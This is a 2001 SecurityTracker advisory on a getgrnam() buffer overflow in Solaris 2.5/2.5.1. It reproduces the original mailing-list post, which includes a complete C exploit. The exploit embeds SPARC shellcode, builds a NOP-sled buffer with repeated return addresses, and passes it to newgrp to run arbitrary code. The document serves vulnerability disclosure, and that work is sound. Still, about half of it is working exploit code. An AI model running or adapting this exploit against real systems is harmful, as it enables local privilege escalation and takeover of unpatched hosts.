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Category:   OS (UNIX)  >   Getgrnam() function Vendors:   Sun
Solaris getgrnam() Function Call Allows Local Execution of Arbitrary Code
SecurityTracker Alert ID:  1000539
SecurityTracker URL:  http://securitytracker.com/id/1000539
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Jan 5 2001
Impact:   Execution of arbitrary code via local system
Exploit Included:  Yes  
Version(s): Solaris 2.5/2.5.1 without patch
Description:   It has been reported that the getgrnam() function in old versions of Solaris (2.5/2.5.1) contain a buffer overflow that permit the local execution of arbitrary code. The getgrnam() function searches the group database for an entry with a matching name.

According to the report, this vulnerability may be exploited with the newgrp command.

Impact:   A malicious user with local access could cause arbitrary code to be executed on the host.
Solution:   Upgrade to a more recent version.
Vendor URL:  www.sun.com (Links to External Site)
Cause:   Boundary error
Underlying OS:  UNIX (Solaris - SunOS)
Underlying OS Comments:  Solaris 2.5/2.5.1 without patch

Message History:   None.


 Source Message Contents

Subject:  Old getgrnam() Solaris 2.5 vulnerability


Hi

Old versions of Solaris, 2.5/2.5.1 (without patch) contain an
exploitable buffer overflow in getgrnam() libc function.
Sorry if this is already know, it seems an old problem but i failed
searching it in the bugtraq archives.
This vulnerability may be used in newgrp command.

bye

Pablo Sor
psor@afip.gov.ar


#include <stdio.h>
#include <sys/types.h>


/*
   getgrnam() function overflow.

   works against Solaris 2.5.1 (SPARC)
   default offset should work.

   Pablo Sor, Buenos Aires, Argentina.
   psor@afip.gov.ar

*/

u_char shell[] =
 "\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13"
 "\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
 "\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a"
 "\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
 "\x82\x10\x20\x3b\x91\xd4\xff\xff";
u_long get_sp(void)
{
   __asm__("mov %sp,%i0 \n");
}

void main()
{

 long *p;
 long addr;
 char buf[8300];
 int i;


 addr = get_sp()-8096;
 printf("Jumping to address %p\n",addr);
 p = (long *) buf;
 for (i=0;i<2050;++i) *(p++) = 0xa61cc013;
 for (i=0;i<strlen(shell);++i) buf[104+i] = shell[i];
 p = (long *) &buf[8160];
 for (i=0;i<30;++i) *(p++) = addr;
 buf[8280]=0;
 execl("/usr/bin/newgrp","newgrp",buf,(char *)0);

}

 
 


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